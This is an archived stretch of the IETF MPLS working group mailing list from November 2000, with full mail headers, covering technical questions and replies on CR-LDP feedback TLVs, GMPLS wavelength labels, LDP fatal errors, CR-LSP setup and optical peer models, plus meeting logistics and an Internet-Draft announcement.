    To:     mpls@UU.NET
    Subject:        draft-ietf-mpls-te-feed-01.txt

    Hello,

    Would someone please clarify the recommended order of
    the feedback TLVs included in a CR-LDP message as quoted
    from section 2 "Adding feedback TLVs to CR-LDP":

    "Two new TLVs are optionally added to the CR-LDP mapping,
    notification, and withdraw messages. There may be an arbitrary
    number of these TLV in any order or position in the message.
    It is recommended that they be placed such that they can be
    read and applied to override the topology database by scanning
    the message forwards and walking the topology database from
    the point where the last link feedback TLV left off."

    Specifically, what does the phrase "where the last link
    feedback TLV left off" mean ?

    Thanks,
    Khanh

------_=_NextPart_001_01C04842.806618F0-- From owner-mpls@UU.NET Mon Nov 6 22:49:16 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA24131 for ; Mon, 6 Nov 2000 22:49:16 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjofn21833; Tue, 7 Nov 2000 03:48:21 GMT Received: by mail-control.mail.uu.net id QQjofn18055 for mpls-outgoing; Tue, 7 Nov 2000 03:47:51 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjofn18048 for ; Tue, 7 Nov 2000 03:47:42 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjofn20326 for ; Tue, 7 Nov 2000 03:47:12 GMT Received: from hotmail.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: oe66.law10.hotmail.com [64.4.14.201]) id QQjofn20550 for ; Tue, 7 Nov 2000 03:47:12 GMT Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Mon, 6 Nov 2000 19:47:11 -0800 X-Originating-IP: [24.189.146.213] From: "Frank Hujber" To: Subject: Use of Wavelength For Label Value Date: Mon, 6 Nov 2000 22:46:56 -0500 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0030_01C04843.770FB260" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4133.2400 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 Message-ID: X-OriginalArrivalTime: 07 Nov 2000 03:47:11.0568 (UTC) FILETIME=[68F1B500:01C0486D] Sender: owner-mpls@UU.NET Precedence: bulk This is a multi-part message in MIME format. ------=_NextPart_000_0030_01C04843.770FB260 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Folks, At MPLS2000, there was some discussion of using wavelength as the label = in GMPLS implementations. Has there been any further exploration of = this? Frank Hujber fhujber@hotmail.com ------=_NextPart_000_0030_01C04843.770FB260 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Folks,
 
At MPLS2000, there was some discussion of using = wavelength as=20 the label in GMPLS implementations. Has there been any further = exploration of=20 this?
 
Frank Hujber
fhujber@hotmail.com
------=_NextPart_000_0030_01C04843.770FB260-- From owner-mpls@UU.NET Tue Nov 7 06:56:14 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA24187 for ; Tue, 7 Nov 2000 06:56:13 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjogt14996; Tue, 7 Nov 2000 11:55:30 GMT Received: by mail-control.mail.uu.net id QQjogt15228 for mpls-outgoing; Tue, 7 Nov 2000 11:55:12 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjogt15223 for ; Tue, 7 Nov 2000 11:55:11 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjogt25435 for ; Tue, 7 Nov 2000 11:53:54 GMT Received: from mailhost.iitb.ac.in by cmr1.ash.ops.us.uu.net with SMTP (peer crosschecked as: mailhost.iitb.ac.in [203.197.74.142]) id QQjogt21301 for ; Tue, 7 Nov 2000 11:53:32 GMT Received: (qmail 29286 invoked from network); 7 Nov 2000 11:56:09 -0000 Received: from bhairav.ee.iitb.ernet.in (144.16.100.100) by mailhost.iitb.ac.in with SMTP; 7 Nov 2000 11:56:09 -0000 Received: from localhost (gabhijit@localhost) by bhairav.ee.iitb.ernet.in (8.8.8/8.8.8) with SMTP id PAA20654 for ; Mon, 6 Nov 2000 15:36:37 +0530 (IST) Date: Mon, 6 Nov 2000 15:36:37 +0530 (IST) From: Abhijit To: mpls@UU.NET Subject: Fatal Errors in LDP Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Hi all, In the LDP draft, following error codes are specified as Fatal Errors. (refer section 3.5.1.2) Bad LDP Identifier Bad Protocol Version Bad PDU Length Bad Message Length Bad TLV Length Malformed TLV value An LSR receiving Notification message with above status codes is supposed to cleanup the LDP session along with the learned FEC-LabelMappings.. as explained in section 3.5.1 This could lead to session cleanup even if one message is malformed. Is it not a bit harsh? Instead can it be so that a count of error notifications for sessions be maintained and when the Fatal notifications reach that count cleanup the session with the peer. Can an implementation choose to do so? Thanks and regards. -abhijit From owner-mpls@UU.NET Tue Nov 7 07:31:23 2000 Received: from cmr2.ash.ops.us.uu.net (cmr2.ash.ops.us.uu.net [198.5.241.40]) by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA10101 for ; Tue, 7 Nov 2000 07:31:22 -0500 (EST) Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjogw21872; Tue, 7 Nov 2000 12:30:24 GMT Received: by mail-control.mail.uu.net id QQjogv28627 for mpls-outgoing; Tue, 7 Nov 2000 12:29:51 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjogv28616 for ; Tue, 7 Nov 2000 12:29:44 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjogv10909 for ; Tue, 7 Nov 2000 12:29:17 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjogv20492 for ; Tue, 7 Nov 2000 12:29:17 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id HAA22106 for mpls@uu.net; Tue, 7 Nov 2000 07:29:16 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjogv28584 for ; Tue, 7 Nov 2000 12:28:34 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjogv21770 for ; Tue, 7 Nov 2000 12:28:20 GMT Received: from sj-msg-core-2.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: sj-msg-core-2.cisco.com [171.69.43.88]) id QQjogv19424 for ; Tue, 7 Nov 2000 12:28:20 GMT Received: from rhthomas-sun2.cisco.com (rhthomas-sun2.cisco.com [161.44.134.47]) by sj-msg-core-2.cisco.com (8.9.3/8.9.1) with ESMTP id EAA20480; Tue, 7 Nov 2000 04:28:19 -0800 (PST) Received: from localhost (rhthomas@localhost) by rhthomas-sun2.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) with ESMTP id HAA21320; Tue, 7 Nov 2000 07:28:18 -0500 (EST) Message-Id: <200011071228.HAA21320@rhthomas-sun2.cisco.com> X-Authentication-Warning: rhthomas-sun2.cisco.com: rhthomas owned process doing -bs To: Abhijit cc: mpls@UU.NET Subject: Re: Fatal Errors in LDP In-reply-to: Your message of "Mon, 06 Nov 2000 15:36:37 +0530." Date: Tue, 07 Nov 2000 07:28:18 -0500 From: Bob Thomas Sender: owner-mpls@UU.NET Precedence: bulk Abhijit, > In the LDP draft, following error codes are specified as Fatal Errors. > (refer section 3.5.1.2) > > Bad LDP Identifier > Bad Protocol Version > Bad PDU Length > Bad Message Length > Bad TLV Length > Malformed TLV value > > An LSR receiving Notification message with above status codes is supposed > to cleanup the LDP session along with the learned FEC-LabelMappings.. as > explained in section 3.5.1 > > This could lead to session cleanup even if one message is malformed. Is it > not a bit harsh? Instead can it be so that a count of error notifications > for sessions be maintained and when the Fatal notifications reach that > count cleanup the session with the peer. Can an implementation choose to > do so? The rationale for making these particular errors fatal is that when one of them occurs there is something very seriously wrong and there is no obvious way the LSR detecting the condition can recover. Bob From owner-mpls@UU.NET Tue Nov 7 09:45:26 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA05386 for ; Tue, 7 Nov 2000 09:45:25 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjohe20637; Tue, 7 Nov 2000 14:44:32 GMT Received: by mail-control.mail.uu.net id QQjohe29825 for mpls-outgoing; Tue, 7 Nov 2000 14:44:12 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjohe29820 for ; Tue, 7 Nov 2000 14:44:09 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjohe08445 for ; Tue, 7 Nov 2000 14:43:57 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjohe20682 for ; Tue, 7 Nov 2000 14:43:57 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id JAA04084 for mpls@uu.net; Tue, 7 Nov 2000 09:43:56 -0500 (EST) Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjohe29809 for ; Tue, 7 Nov 2000 14:43:32 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjohe25355 for ; Tue, 7 Nov 2000 14:42:45 GMT Received: from cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: omega.cisco.com [171.69.63.141]) id QQjohe19229 for ; Tue, 7 Nov 2000 14:42:44 GMT Received: from localhost (yakov@localhost) by cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id GAA14552; Tue, 7 Nov 2000 06:42:44 -0800 (PST) Message-Id: <200011071442.GAA14552@cisco.com> To: "Frank Hujber" cc: mpls@UU.NET Subject: Re: Use of Wavelength For Label Value In-reply-to: Your message of "Mon, 06 Nov 2000 22:46:56 EST." MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <14549.973608163.1@cisco.com> Date: Tue, 07 Nov 2000 06:42:43 -0800 From: Yakov Rekhter Sender: owner-mpls@UU.NET Precedence: bulk Frank, > Folks, > > At MPLS2000, there was some discussion of using wavelength as the label > in GMPLS implementations. Has there been any further exploration of > this? Yes. See the following Internet Drafts for more details: - draft-awduche-mpls-te-optical-02.txt - draft-ietf-isis-gmpls-extensions-00.txt - draft-ompls-isis-extensions-00.txt - draft-kompella-ospf-ompls-extensions-00.txt - draft-ietf-mpls-lmp-00.txt - draft-kompella-mpls-crldp-unnum-00.txt - draft-kompella-mpls-rsvp-unnum-00.txt - draft-kompella-mpls-bundle-02.txt - draft-ietf-mpls-lsp-hierarchy-00.txt Yakov. From owner-mpls@UU.NET Tue Nov 7 09:53:10 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id JAA09061 for ; Tue, 7 Nov 2000 09:53:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjohd05454; Tue, 7 Nov 2000 14:27:56 GMT Received: by mail-control.mail.uu.net id QQjohd28888 for mpls-outgoing; Tue, 7 Nov 2000 14:27:34 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjohd28863 for ; Tue, 7 Nov 2000 14:27:27 GMT Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjohd07037 for ; Tue, 7 Nov 2000 14:27:26 GMT Received: from workhorse.fictitious.org by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: workhorse.fictitious.org [209.66.129.230]) id QQjohd00198 for ; Tue, 7 Nov 2000 14:27:25 GMT Received: from workhorse.fictitious.org (localhost.fictitious.org [127.0.0.1]) by workhorse.fictitious.org (8.9.3/8.9.3) with ESMTP id JAA63484; Tue, 7 Nov 2000 09:24:00 -0500 (EST) (envelope-from curtis@workhorse.fictitious.org) Message-Id: <200011071424.JAA63484@workhorse.fictitious.org> To: L.Wood@eim.surrey.ac.uk cc: curtis@avici.com, Gaitonde Anandprasanna , David Charlap , mpls@UU.NET Reply-To: curtis@avici.com Subject: Re: API In-reply-to: Your message of "Mon, 06 Nov 2000 17:17:18 GMT." Date: Tue, 07 Nov 2000 09:23:59 -0500 From: Curtis Villamizar Sender: owner-mpls@UU.NET Precedence: bulk In message , Ll oyd Wood writes: > On Mon, 6 Nov 2000, Curtis Villamizar wrote: > > > > The IETF never specifies APIs or user level command interfaces. This > > applies to all IETF standards work not just MPLS. > > RFC 2025. RFC 2744. RFC 2853... Lloyd, Security services has been an exception and an unwelcome exception to some and there is one service location API. As a rule the IETF wants to stay out of APIs. This has been discussed on the IETF list and at the open pleniaries. The transport and routing areas have explicitly stayed away from APIs. For example, there is no IETF API for per microflow RSVP even though this provides user services. The sockets layer is also not standardized for unicast or multicast. Curtis From owner-mpls@UU.NET Tue Nov 7 10:05:11 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA15089 for ; Tue, 7 Nov 2000 10:05:10 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjohg15262; Tue, 7 Nov 2000 15:04:11 GMT Received: by mail-control.mail.uu.net id QQjohg11380 for mpls-outgoing; Tue, 7 Nov 2000 15:03:32 GMT Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjohg10540 for ; Tue, 7 Nov 2000 15:03:18 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjohg05129 for ; Tue, 7 Nov 2000 15:02:11 GMT Received: from nexen.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: maelstrom.nexen.com [204.249.97.5]) id QQjohg11668 for ; Tue, 7 Nov 2000 15:02:11 GMT Received: from phish.nexen.com (phish-99 [204.249.99.14]) by nexen.com (8.11.0/8.11.0) with ESMTP id eA7F27l20543; Tue, 7 Nov 2000 10:02:07 -0500 (EST) Received: from nexen.com (bhome [204.249.97.124]) by phish.nexen.com (8.8.5/8.8.5) with ESMTP id KAA03954; Tue, 7 Nov 2000 10:02:04 -0500 (EST) Message-ID: <3A08196C.33EE0720@nexen.com> Date: Tue, 07 Nov 2000 10:02:04 -0500 From: Mark Stewart X-Mailer: Mozilla 4.7 [en] (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: Frank Hujber CC: mpls@UU.NET Subject: Re: Use of Wavelength For Label Value References: Content-Type: multipart/alternative; boundary="------------BA0DE7DF6433E8FF6E08C85C" Sender: owner-mpls@UU.NET Precedence: bulk --------------BA0DE7DF6433E8FF6E08C85C Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Isn't there an issue when the paths are being rapidly torn down and established that you don't wish to reuse a label for a while? Refusing to reuse a lambda on the other hand doesn't sound smart. ciao mark Frank Hujber wrote: > Folks, At MPLS2000, there was some discussion of using wavelength as > the label in GMPLS implementations. Has there been any further > exploration of this? Frank Hujberfhujber@hotmail.com --------------BA0DE7DF6433E8FF6E08C85C Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Isn't there an issue when the paths are being rapidly torn down and established that you don't wish to reuse a label for a while? Refusing to reuse a lambda on the other hand doesn't sound smart.

ciao

mark

Frank Hujber wrote:

Folks, At MPLS2000, there was some discussion of using wavelength as the label in GMPLS implementations. Has there been any further exploration of this? Frank Hujberfhujber@hotmail.com
--------------BA0DE7DF6433E8FF6E08C85C-- From owner-mpls@UU.NET Tue Nov 7 11:20:58 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id LAA20328 for ; Tue, 7 Nov 2000 11:20:57 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjohl10912; Tue, 7 Nov 2000 16:20:07 GMT Received: by mail-control.mail.uu.net id QQjohl00192 for mpls-outgoing; Tue, 7 Nov 2000 16:19:34 GMT Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjohl00187 for ; Tue, 7 Nov 2000 16:19:26 GMT Received: from cmr0.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjohl12414 for ; Tue, 7 Nov 2000 16:17:30 GMT Received: from ext1.ics.forth.gr by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.ics.forth.gr [139.91.1.2]) id QQjohl17647 for ; Tue, 7 Nov 2000 16:17:30 GMT Received: from ismene.ics.forth.gr (mailhost.ics.forth.gr [139.91.157.51]) by ext1.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.5-GATE) with ESMTP id SAA27183 for ; Tue, 7 Nov 2000 18:17:27 +0200 (EET) Received: from sappho.ics.forth.gr (sappho-lane.ics.forth.gr [139.91.157.50]) by ismene.ics.forth.gr (8.8.8/ICS-FORTH/V3) with ESMTP id SAA18903 for ; Tue, 7 Nov 2000 18:17:00 +0200 (EET) Received: from localhost (tziou@localhost) by sappho.ics.forth.gr (8.8.8/ICS-FORTH/C1) with ESMTP id SAA21361 for ; Tue, 7 Nov 2000 18:16:30 +0200 (EET) Posted-Date: Tue, 7 Nov 2000 18:16:30 +0200 (EET) X-Authentication-Warning: sappho.ics.forth.gr: tziou owned process doing -bs Organization: Date: Tue, 7 Nov 2000 18:16:29 +0200 (EET) From: Chrysostomos Tziouvaras To: mpls@UU.NET Subject: CR-LSPs question Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Hello all, I am rather confused by the way CR-LSPs are defined; according to drafts this can be done either by the administrator or dynamically. If I have understood well dynamically means that the administrator defines only the QoS attributes and the CBR mechanism finds the available path. Is it true? Best regerads Tziouvaras Chrysostomos ICS-FORTH Researcher From owner-mpls@UU.NET Tue Nov 7 12:23:27 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id MAA18227 for ; Tue, 7 Nov 2000 12:23:27 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjohp19227; Tue, 7 Nov 2000 17:21:34 GMT Received: by mail-control.mail.uu.net id QQjohp15439 for mpls-outgoing; Tue, 7 Nov 2000 17:21:15 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjohp15422 for ; Tue, 7 Nov 2000 17:20:59 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjohp20759 for ; Tue, 7 Nov 2000 17:20:53 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjohp04430 for ; Tue, 7 Nov 2000 17:20:48 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id MAA26411 for mpls@uu.net; Tue, 7 Nov 2000 12:20:48 -0500 (EST) Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15]) id QQjohp15404 for ; Tue, 7 Nov 2000 17:20:26 GMT Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjohp09586 for ; Tue, 7 Nov 2000 17:20:19 GMT Received: from pilgrim.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjohp28270 for ; Tue, 7 Nov 2000 17:20:18 GMT Received: from lir.cisco.com (lir-hme0.cisco.com [171.69.204.20]) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) with ESMTP id MAA26300; Tue, 7 Nov 2000 12:20:16 -0500 (EST) Received: from localhost (swallow@localhost) by lir.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id MAA11753; Tue, 7 Nov 2000 12:20:16 -0500 (EST) Message-Id: <200011071720.MAA11753@lir.cisco.com> X-Authentication-Warning: lir.cisco.com: swallow owned process doing -bs To: mpls@UU.NET Cc: vijay@cosinecom.com Subject: Time to set the MPLS agenda(s) Date: Tue, 07 Nov 2000 12:20:15 -0500 From: George Swallow Sender: owner-mpls@UU.NET Precedence: bulk Folks - As far as I know there has been no final decision on how the MPLS work will be organized in San Diego. In the absence of this, we will proceed as 'business as usual'. That is, for any requests you would have sent to MPLS in the past, please send those to me and Vijay. I'll collect them up and make sure that they are submitted either to MPLS or one of the other proposed WGs. ...George ====================================================================== George Swallow Cisco Systems (978) 244-8143 250 Apollo Drive Chelmsford, Ma 01824 From owner-mpls@UU.NET Wed Nov 8 05:24:46 2000 Received: from cmr1.ash.ops.us.uu.net (cmr1.ash.ops.us.uu.net [198.5.241.39]) by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA06652 for ; Wed, 8 Nov 2000 05:24:46 -0500 (EST) Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjokf08123; Wed, 8 Nov 2000 10:22:42 GMT Received: by mail-control.mail.uu.net id QQjokf02467 for mpls-outgoing; Wed, 8 Nov 2000 10:22:19 GMT Received: from ashimr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr1.ash.ops.us.uu.net [153.39.43.46]) id QQjokf02456 for ; Wed, 8 Nov 2000 10:22:12 GMT Received: from cmr2.ash.ops.us.uu.net by ashimr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40]) id QQjokf28107 for ; Wed, 8 Nov 2000 10:21:27 GMT Received: from ext1.ics.forth.gr by cmr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mailgate.ics.forth.gr [139.91.1.2]) id QQjokf12035 for ; Wed, 8 Nov 2000 10:21:26 GMT Received: from ismene.ics.forth.gr (mailhost.ics.forth.gr [139.91.157.51]) by ext1.ics.forth.gr (8.9.3/ICS-FORTH/V8.2.5-GATE) with ESMTP id MAA10404; Wed, 8 Nov 2000 12:21:24 +0200 (EET) Received: from sappho.ics.forth.gr (sappho-lane.ics.forth.gr [139.91.157.50]) by ismene.ics.forth.gr (8.8.8/ICS-FORTH/V3) with ESMTP id MAA25608; Wed, 8 Nov 2000 12:20:59 +0200 (EET) Received: from localhost (tziou@localhost) by sappho.ics.forth.gr (8.8.8/ICS-FORTH/C1) with ESMTP id MAA25669; Wed, 8 Nov 2000 12:20:32 +0200 (EET) Posted-Date: Wed, 8 Nov 2000 12:20:32 +0200 (EET) X-Authentication-Warning: sappho.ics.forth.gr: tziou owned process doing -bs Organization: Date: Wed, 8 Nov 2000 12:20:31 +0200 (EET) From: Chrysostomos Tziouvaras To: mpls@UU.NET cc: yakov@cisco.com Subject: A question about the peer model in optical networks Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-mpls@UU.NET Precedence: bulk Dear all reading through various IETF drafts I have the following question : Consider an LSR which wants to make an LSP that in some point must traverse an optical network (which is composed of OXCs switching wavelengths). According to the peer model does this LSR , which is NOT an edge LSR, needs to have full knowledge of the internals of the optical network or the optical network is completely transparent for it? What happens when the optical network can not make a FA? Who is responsible for the cranckback? Is it the the origination router or the ingress of the optical network? Best regards Tziouvaras Chrysostomos ICS-FORTH Researcher From owner-mpls@UU.NET Wed Nov 8 06:04:11 2000 Received: from cmr0.ash.ops.us.uu.net (cmr0.ash.ops.us.uu.net [198.5.241.38]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA23694 for ; Wed, 8 Nov 2000 06:04:11 -0500 (EST) Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: mail-control.mail.uu.net [153.39.51.35]) id QQjoki01660; Wed, 8 Nov 2000 11:02:05 GMT Received: by mail-control.mail.uu.net id QQjoki10456 for mpls-outgoing; Wed, 8 Nov 2000 11:01:39 GMT Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47]) id QQjoki10323 for ; Wed, 8 Nov 2000 11:01:35 GMT Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38]) id QQjoki09167 for ; Wed, 8 Nov 2000 11:00:06 GMT Received: from pilgrim.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: pilgrim.cisco.com [171.69.204.12]) id QQjoki29528 for ; Wed, 8 Nov 2000 11:00:05 GMT Received: (from erosen@localhost) by pilgrim.cisco.com (8.8.8-Cisco List Logging/8.8.8) id GAA20618 for mpls@uu.net; Wed, 8 Nov 2000 06:00:05 -0500 (EST) Received: from ashimr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP (peer crosschecked as: ashimr0.ash.ops.us.uu.net [153.39.43.11]) id QQjokh06537 for ; Wed, 8 Nov 2000 10:59:41 GMT Received: from cmr1.ash.ops.us.uu.net by ashimr0.ash.ops.us.uu.net with ESMTP (peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39]) id QQjokh05015; Wed, 8 Nov 2000 10:59:30 GMT Received: from ietf.org by cmr1.ash.ops.us.uu.net with ESMTP (peer crosschecked as: odin.ietf.org [132.151.1.176]) id QQjokh17988; Wed, 8 Nov 2000 10:59:30 GMT Received: from CNRI.Reston.VA.US (localhost [127.0.0.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA21195; Wed, 8 Nov 2000 05:59:27 -0500 (EST) Message-Id: <200011081059.FAA21195@ietf.org> Mime-Version: 1.0 Content-Type: Multipart/Mixed; Boundary="NextPart" To: IETF-Announce:; CC: mpls@UU.NET, te-wg@UU.NET, ospf@discuss.microsoft.com, isis-wg@juniper.net From: Internet-Drafts@ietf.org Reply-to: Internet-Drafts@ietf.org Subject: I-D ACTION:draft-dharanikota-interarea-mpls-te-ext-01.txt Date: Wed, 08 Nov 2000 05:59:27 -0500 Sender: owner-mpls@UU.NET Precedence: bulk --NextPart A New Internet-Draft is available from the on-line Internet-Drafts directories. Title : OSPF, IS-IS, RSVP, CR-LDP Extensions to Support inter-Area Traffic Engineering Using MPLS TE Author(s) : S. Dharanikota, S. Venkatachalam Filename : draft-dharanikota-interarea-mpls-te-ext-01.txt Pages : 20 Date : 07-Nov-00 In this draft, we propose the extensions required to the routing protocols, signaling protocols, and the MIB to support the idea of inter-area LSPs. A companion document [INTER_AREA_FWK] provides the architectural requirements for such a concept. This document also provides the signaling extensions to support the crankback as defined in the architecture document 